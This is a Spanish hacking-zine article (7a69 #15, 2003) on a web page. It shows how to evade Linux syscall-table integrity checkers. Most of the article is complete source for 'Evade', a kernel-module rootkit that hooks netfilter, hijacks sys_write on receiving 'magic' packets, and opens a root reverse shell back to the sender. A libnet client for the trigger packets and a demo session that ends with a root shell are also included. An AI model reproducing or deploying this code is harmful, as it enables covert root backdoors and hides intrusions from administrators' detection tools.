Home Hacking y Seguridad Rootkits / Kernel Evadiendo LKM Checkers

Ultimos Mensajes del Foro

Manual Aleatorio

Estudio de la etica hacker
Este documento estudia la etica hacker desde el punto de vista de la etica.
Leer más...
Evadiendo LKM Checkers Imprimir E-mail
Hacking y Seguridad - Rootkits / Kernel
Escrito por Fkt   
Como troyanizar el kernel momentaneamente, de forma que el programa que checkee la sys_call_table[] no se de cuenta de que esta "hackeada", a no ser que el programa este chequeando constatemente (cosa bastante rara).

Texto Completo:
|-----------------------------------------------------------------------------|
  [ 7a69#15 ]                                                  [ 23-11-2003 ]
 \                                                                           /
  \-------------------------------------------------------------------------/
   { 11 - Evadiendo LKM Checkers.                                   }{ Fkt }
   |-----------------------------------------------------------------------|



- Indice:
  1. Introduccion
  2. Implementacion
  3. La Practica
  4. Codigo Comentado (Programa Evade)
  5. Conclusion
  6. Agradecimientos

           -----------------------------------------------------

1. Introduccion:
  Lo que voy a contar no es nada espectacular, simplemente que el otro dia
  se me vino a la cabeza la idea, me parecio innovadora y como en ningun 
  sitio he visto que se hable de algo parecido pues me he animado a
  contarosla.
  Debido a la proliferacion de programas que checkean la sys_call_table[] 
  se me ocurrio la idea de troyanizar el kernel momentaneamente, de forma que
  el programa que checkee la sys_call_table[] no se de cuenta de que esta
  "hackeada", a no ser que el programa este chequeando constatemente (cosa
  bastante rara).
  Una cosa mas antes de empezar, las tildes, acentos o como querais llamarlos
  no estan puestos para que no salgan caracteres raros para la gente que lea
  el articulo en el edit del MS-DOS por ejemplo.

2. Implementacion:
  Bueno vamos a ver como hariamos eso de troyanizar el kernel momentaneamente.
  El metodo que he escogido es filtrando en un hook del netfilter los paquetes
  que llegan mediante un modulo del kernel que los analize, de tal forma que
  cuando llegue cierto paquete a la maquina comprometida se cambien las
  direcciones de la sys_call_table[] por las q nos convengan, y cuando 
  terminemos de urgar en la maquina con otro paquetito las restauramos, con lo
  cual no se deberia estar demasiado tiempo dentro si el admin es paranoico
  jeje.

  Bien, para hacer esto filtraremos el hook NF_IP_LOCAL_IN del netfilter tal
  que asi:

  NOTA: Para mas informacion sobre netfilter y sus hooks leer el articulo 
        de Raciel en la X-Ezine #1 en http://todo-linux.com/x-ezine/.

  static unsigned int input_handler(unsigned int hook, struct sk_buff **skb,
                                    const struct net_device *in,
                                    const struct net_device *out, 
                                    int (*okfn) (struct sk_buff *)) {

    char *payload;
    unsigned int datalen;

    /* Si el paquete no va para nosotros ni es TCP lo dejamos seguir y no 
       hacemos nada */
    if (((*skb)->pkt_type != PACKET_HOST) ||
        ((*skb)->nh.iph->protocol != IPPROTO_TCP))
       return NF_ACCEPT;

    /* Ajustamos el paquete TCP */
    (*skb)->h.raw=(unsigned char *)(*skb)->nh.raw + (*skb)->nh.iph->ihl*4;
    datalen=(*skb)->len - (*skb)->nh.iph->ihl*4 + ((*skb)->h.th->doff <<2);
    payload=(char *)(*skb)->h.raw + ((*skb)->h.th->doff <<2);

    /* Si el paquete no viene por el puerto 80 con el flag SYN
       activado no hacemos nada */
    if (!(*skb)->h.th->syn || ((*skb)->h.th->dest != htons(80)))
      return NF_ACCEPT;

    /* Filtramos asi los paquetes para no tener que procesar muchos y que la 
       maquina no se sobrecargue */

    /* Comparamos el payload para ver si es un "paquete magico" */
    /* Y de que tipo de paquete magico es, si para restaurar la */
    /* sys_call_table[] o para "hackearla"                      */
    if (!strncmp(payload,MAGIC_WORD_ENABLED,datalen)) {
      /* Hackeamos la syscall */
      sys_call_table[__NR_write]=my_write;

      /* Rechazamos el paquete para no levantar sospechas */
      return NF_DROP;
    }

    if (!strncmp(payload,MAGIC_WORD_DISABLED,datalen)) {
      /* Restauramos la syscall */
      sys_call_table[__NR_write]=write_orig;
      return NF_DROP;
    }

    /* Si llega aqui no es un "paquete magico" asi que lo dejamos seguir */
    return NF_ACCEPT;
  }

  En este codigo cambiariamos momentaneamente (hasta que mandasemos el paquete
  de restauracion) la direccion de la syscall write por la nuestra, obviamente
  se podrian hacer otras cosas.

3. La Practica:
  En este apartado explicare como usar Evade, cuyo codigo fuente esta en 
  el siguiente punto.
  Supongo que el modulo se ha compilado para ver los mesajes del syslogd 
  con -DDEBUG.

  Lo cargamos:
  lame_host# /sbin/insmod evade.o
  lame_host#

  Jul 30 12:56:08 lame_host kernel: [Evade] Modulo Cargado Correctamente

  my_host (tty1) $ nc -lvp 31337
  listening on [any] 31337 ...

  my_host (tty2) # ./cliente lame_host "abrete sesamo" my_host 31337
  Paquete Mandado Correctamente a lame_host
  my_host (tty2) #

  Jul 30 12:59:01 lame_host kernel: [Evade] Paquete Magico De Activacion Recibido Desde 192.168.0.10
  Jul 30 12:59:02 lame_host kernel: [Evade] Socket Creado
  Jul 30 12:59:02 lame_host kernel: [Evade] Conectado A: 192.168.0.10:31337

  Y en el netcat de antes vemos...
  connect to [192.168.0.10] from lame_host [192.168.0.20] 4049
  w
    7:02pm  up  1:09,  2 users,  load average: 0.14, 0.08, 0.09
  USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
  john     tty1     -                 5:58pm  0.00s  0.71s  0.00s  nc -lvp 31337
  marlon   tty2     -                 6:33pm 13.00s  2.92s  2.25s  bash
  id
  uid=0(root) gid=0(root)
  uname -a
  Linux lame_host 2.4.17 #2 Mon Jan 21 00:03:19 CET 2002 i686 unknown
  echo "hola"
  
  /* Como vemos no escribe nada */

  Mandamos el paquete de restauracion:
  my_host (tty2) # ./cliente lame_host "cierrate sesamo" my_host
  Paquete Mandado Correctamente a lame_host
  my_host (tty2) #

  Jul 30 13:01:03 lame_host kernel: [Evade] Paquete Magico De Restauracion Recibido Desde 192.168.0.10

  echo "hola"
  hola
  
  /* Wuala! ahora si lo escribe jeje */
  exit
  /* Control+C */
  punt!
  my_host (tty1) $

  lame_host# /sbin/rmmod evade
  Jul 30 13:03:42 lame_host kernel: [Evade] Modulo Descargado Correctamente

4. Codigo Comentado (Programa Evade):
  Evade es un "Proof Of Concept" de lo que he contado, espero que se 
  entienda y podais seguirlo con los comentarios sin ningun problema.
  Lo que hace Evade es abrir una shell al "source port" donde le llegue el 
  paquete en el host que mando el paquete magico, asi como troyanizar la
  syscall write, que luego con otro paquete magico se podra restaurar.
  Quiero aclarar antes de poner el codigo que Evade no es ningun rootkit 
  completo ni mucho menos, simplemente demuestra la utilidad de esta 
  "tecnica".

  Para compilarlo: (es necesaria la libreria libnet)
    gcc -O3 -c -Wall -fomit-frame-pointer -I/usr/src/linux/include/ evade.c
    gcc `libnet-config --defines` cliente.c -o cliente -lnet

  NOTA: Para mas informacion sobre Libnet leer el articulo numero 2 del 
        #12 de la 7a69 E-Zine.

  <-++-> evade.c :

  /*         Evade          */
  /* fkt <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 > */
  /*      30-07-2002        */

  #define __KERNEL__
  #define MODULE

  #include 
  #include 
  #include 

  #include 
  #include 
  #include 
  #include 
  #include    
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  MODULE_LICENSE("GPL");
  MODULE_AUTHOR("fkt <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >");
  
  /* Macros que deberias cambiar :) */
  #define MAGIC_WORD_ENABLED "abrete sesamo"
  #define MAGIC_WORD_DISABLED "cierrate sesamo"
  #define CENSURED_WORD "hola"

  /* Sin comentarios :) */
  extern void *sys_call_table[];

  /* Estructura a rellenar del hook del netfilter */
  static struct nf_hook_ops input_filter;

  /* Estructura a rellenar de la task_queue */
  static struct tq_struct st_proc;

  /* Estructura global con la que pasaremos parametros a run_shell() */
  struct {
    __u16 puerto;
    __u32 addr;
  } datos;

  /* Syscalls que nos haran falta luego, ahi que declararlas asi porque sino 
     peta */
  static int errno;
  static inline _syscall0(int, fork);
  static inline _syscall3(int, execve, char *, name, char **, argv, char **, envp);

  /* Puntero a sys_write original */
  ssize_t (*o_write)(int fd, const void *buf, size_t count);
  
  /* Punteros a syscalls que luego usaremos */
  int (*o_socketcall)(int call, unsigned long *args);
  void (*o_exit)(int status);
  int (*o_close)(int fd);
  int (*o_dup)(int oldfd);

  /* Nuestro sys_write */
  ssize_t my_write(int fd, const void *buf, size_t count);

  /* Rutina que conectara y ejecutara la shell */
  void run_shell(void) {
    struct sockaddr_in local_addr;
    char *args[2];
    unsigned long socket_args[3]; 
    mm_segment_t fs;
    int sockfd;

    /* Cambiamos el rango de direcciones para no tener problemas al llamar 
       a la syscall, ya que esta supone que la llamamos desde espacio de 
       usuario */
    fs=get_fs(); 
    set_fs(KERNEL_CS);

    o_close(2);
    o_close(1);
    o_close(0);

    socket_args[0]=AF_INET;
    socket_args[1]=SOCK_STREAM;
    socket_args[2]=IPPROTO_TCP;

    if ((sockfd=o_socketcall(SYS_SOCKET,socket_args)) != -1) {

  #ifdef DEBUG
    printk("[Evade] Socket Creado\n");
  #endif
      
      local_addr.sin_port=datos.puerto;
      local_addr.sin_family=AF_INET;
      local_addr.sin_addr.s_addr=datos.addr;
  
      socket_args[0]=sockfd;
      socket_args[1]=(unsigned long)&local_addr;
      socket_args[2]=sizeof(struct sockaddr_in);
  
      if (o_socketcall(SYS_CONNECT,socket_args) == 0) {
        
  #ifdef DEBUG
    printk("[Evade] Conectado A: %u.%u.%u.%u:%d\n",
            NIPQUAD(local_addr.sin_addr.s_addr), ntohs(local_addr.sin_port));
  #endif
       
        if (!fork()) {
          o_dup(2);
          o_dup(1);
          o_dup(0);

          args[0]="/bin/sh";
          args[1]=NULL;

          execve(args[0], args, NULL);

          o_exit(1);
        }
      }
    }

    /* Restauro el rango */    
    set_fs(fs);

    if (sockfd > 0) o_close(sockfd);
  }

  static unsigned int input_handler(unsigned int hook, struct sk_buff **skb,
                                    const struct net_device *in,
                                    const struct net_device *out,
                                    int (*okfn) (struct sk_buff *)) {
     
    char *payload;
    unsigned int datalen;
  
    /* Si el paquete no va para nosotros ni es TCP lo dejamos seguir y no   
       hacemos nada */
    if (((*skb)->pkt_type != PACKET_HOST) ||
        ((*skb)->nh.iph->protocol != IPPROTO_TCP))
       return NF_ACCEPT;
  
    /* Ajustamos el paquete TCP */
    (*skb)->h.raw=(unsigned char *)(*skb)->nh.raw + (*skb)->nh.iph->ihl*4;
    datalen=(*skb)->len - (*skb)->nh.iph->ihl*4 + ((*skb)->h.th->doff <<2);
    payload=(char *)(*skb)->h.raw + ((*skb)->h.th->doff <<2);
        
    /* Si el paquete no viene por el puerto 80 con el flag SYN
       activado no hacemos nada */
    if (!(*skb)->h.th->syn || ((*skb)->h.th->dest != htons(80)))
      return NF_ACCEPT;

    /* Filtramos asi los paquetes para no tener que procesar muchos y que la
       maquina no se sobrecargue */ 
 
    /* Comparamos el payload para ver si es un "paquete magico" */
    /* Y de que tipo de paquete magico es, si para restaurar la */
    /* sys_call_table[] o para "hackearla"                      */
    if (!strncmp(payload,MAGIC_WORD_ENABLED,datalen)) {
                                  
  #ifdef DEBUG
    printk("[Evade] Paquete Magico De Activacion Recibido Desde %u.%u.%u.%u\n",
            NIPQUAD((*skb)->nh.iph->saddr));
  #endif
  
      /* Hackeamos la syscall */
      sys_call_table[__NR_write]=my_write;  
      
      /* Rellenamos la estructura del task_queue */
      st_proc.sync=0;
      st_proc.routine=(void *)&run_shell; 
      st_proc.data=NULL;
  
      /* Rellenamos la struct global */
      datos.puerto=(*skb)->h.th->source;
      datos.addr=(*skb)->nh.iph->saddr;
     
      /* Encolamos el proceso para ser ejecutado */
      schedule_task(&st_proc);
  
      /* Rechazamos el paquete para no levantar sospechas */
      return NF_DROP;
    }
  
    if (!strncmp(payload,MAGIC_WORD_DISABLED,datalen)) {
  
  #ifdef DEBUG
    printk("[Evade] Paquete Magico De Restauracion Recibido Desde %u.%u.%u.%u\n",
            NIPQUAD((*skb)->nh.iph->saddr));
  #endif
        
      /* Restauramos la syscall */
      sys_call_table[__NR_write]=o_write;
      return NF_DROP;
    }
      
    /* Si llega aqui no es un "paquete magico" asi que lo dejamos seguir */
    return NF_ACCEPT;
  }
    
  /* sys_write "hackeada" que hara que los write's que contengan la cadena
     CENSURED_WORD no se escriban */   
  ssize_t my_write(int fd, const void *buf, size_t count) {
    /* Reservamos memoria en espacio de kernel para comparar luego con buf */
    char *buf_k=(char *)kmalloc(count+1, GFP_KERNEL);
    
    /* Pasamos buf a espacio de kernel */
    memset(buf_k,0,count+1);
    __generic_copy_from_user(buf_k, buf, count);
    
    /* Si no contiene nuestra cadena a "borrar" devolvemos el valor de la
       sys_write original */
    if (!strstr(buf_k,CENSURED_WORD)) {
      kfree(buf_k);
      return ((*o_write)(fd,buf,count));
    }

    /* Libero la memoria reservada */
    kfree(buf_k);
  
    /* Si llega aqui quiere decir que nuestra cadena esta en buf, por lo
       tanto retornamos count para decir que todo ha ido bien pero nuestra
       cadena no se ha escrito */
    return count;
  }       
    
  int init_module(void) {
    int ret;
   
    /* Para que no exporte los simbolos a ksyms */
    EXPORT_NO_SYMBOLS;
  
    /* Rellenamos la estructura del hook del netfilter */
    input_filter.list.next=NULL;
    input_filter.list.prev=NULL;
    input_filter.hook=input_handler;   
    input_filter.priority=NF_IP_PRI_FILTER-1;
    input_filter.pf=PF_INET; /* IPv4 */
    input_filter.hooknum=NF_IP_LOCAL_IN;
    
    /* Registramos la estructura */
    ret=nf_register_hook(&input_filter);
  
    /* Si no se ha podido registrar devolvemos error para que el modulo no
       se cargue */
    if (ret) return -1;
  
    /* Guaradamos la direccion de la sys_write original */
    o_write=sys_call_table[__NR_write];
     
    o_exit=sys_call_table[__NR_exit];
    o_close=sys_call_table[__NR_close];
    o_socketcall=sys_call_table[__NR_socketcall];
    o_dup=sys_call_table[__NR_dup];

  #ifdef DEBUG
    printk("[Evade] Modulo Cargado Correctamente\n");
  #endif
  
    return ret;
  }
  
  void cleanup_module(void) {   
    /* Desregistramos el hook */
    nf_unregister_hook(&input_filter);
  
    /* Ponemos la sys_write original donde estaba por si no hemos mandado el
       paquete de restaurar */
    sys_call_table[__NR_write]=o_write;

  #ifdef DEBUG
    printk("[Evade] Modulo Descargado Correctamente\n");
  #endif
  
  } 

  <-++-> cliente.c :

  /*      Cliente Evade       */
  /*  fkt <
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >  */
  /*       30-07-2002         */

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  #define PUERTO_DESTINO 80

  void uso(char *prog);
  void manda_pkt_tcp(int sd, int payload_s, unsigned int srcp, unsigned int
                     dstp, u_long srcaddr, u_long dstaddr,
                     unsigned char *payload);

  int main(int argc, char **argv) {
    u_long daddr, saddr;
    int payload_sz, sockfd;
    unsigned char *payload;

    /* Miro si tiene privilegios de root */
    if (geteuid()) {
      printf("Necesitas Ser ROOT!!\n");
      exit(1);
    }

    if (argc != 5) uso(argv[0]);

    /* Resuelvo las direcciones */
    if (((daddr=libnet_name_resolve(argv[1],LIBNET_RESOLVE))==-1) ||
        ((saddr=libnet_name_resolve(argv[3],LIBNET_RESOLVE))==-1))
      libnet_error(LIBNET_ERR_FATAL, "Host Name Lookup failed!\n");

    payload=(unsigned char *)argv[2];
    payload_sz=strlen(payload)+1; //El +1 para que se mande tambien el {jumi [*3] [http://www.govannom.org/seguridad/kernel/lkm_checkers.txt]}

    /* Inicio el generador aleatorio de numeros */
    if (libnet_seed_prand()==-1)
      libnet_error(LIBNET_ERR_FATAL, "libnet_seed_prand failed!\n");

    /* Abro el interfaz del socket */
    if((sockfd=libnet_open_raw_sock(IPPROTO_RAW))==-1)
      libnet_error(LIBNET_ERR_FATAL, "libnet_open_raw_sock failed!\n");

    /* Mando el paquete */
    manda_pkt_tcp(sockfd, payload_sz, atoi(argv[4]), PUERTO_DESTINO,
                  saddr, daddr, payload);

    /* Cierro el interfaz */
    libnet_close_raw_sock(sockfd); 
    printf("Paquete Mandado Correctamente a %s\n", argv[1]);
  
    return 0;
  }
  
  void uso(char *prog) {
    printf("\nCliente Para Evade\n");
    printf("Uso:\n");
    printf("\t%s    \n\n", prog);
    exit(1);
  }
  
  void manda_pkt_tcp(int sd, int payload_s, unsigned int srcp, unsigned int
                     dstp, u_long srcaddr, u_long dstaddr,
                     unsigned char *payload) {
    unsigned int pkt_size;
    int c;
    unsigned char *buf;
  
    pkt_size=LIBNET_IP_H+LIBNET_TCP_H+payload_s;

    /* Reservo memoria para el paquete */
    if (libnet_init_packet(pkt_size, &buf)==-1)
      libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed!\n");  

    /* Construyo la parte IP del paquete */
    libnet_build_ip(pkt_size-LIBNET_IP_H, IPTOS_LOWDELAY, //TOS
                    libnet_get_prand(PRu16), 0, 64, IPPROTO_TCP,
                    srcaddr, dstaddr, NULL, 0, buf);
  
    /* Construyo la parte TCP del paquete */
    libnet_build_tcp(srcp, //src_port
                     dstp, //dst_port
                     100, //seq
                     0, //ack
                     TH_SYN, //flags
                     512, //window size
                     0, //URG?
                     payload,
                     payload_s,
                     buf + LIBNET_IP_H); //puntero al pkt
 
    /* Hago el checksum */
    if (libnet_do_checksum(buf, IPPROTO_TCP, pkt_size-LIBNET_IP_H)==-1)
      libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed!\n");

    /* Mando el paquete */
    c=libnet_write_ip(sd,buf,pkt_size);
    if (c < pkt_size)
      libnet_error(LIBNET_ERR_WARNING, "libnet_write_ip solo ha podido escribir %d bytes\n", c);

    /* Libero la memoria del paquete */  
    libnet_destroy_packet(&buf);
  }

5. Conclusion:
  Bueno, pues como habeis visto no era nada espectacular, pero si practico,
  el ejemplo que he puesto en el articulo es un poco tonto pero creo que
  ilustra bien la utilidad de la "tecnica" y que sabreis explotarla a fondo.

6. Agradecimientos:
  A Doing por ser tan buena persona y tener tanta paciencia :)


*EOF*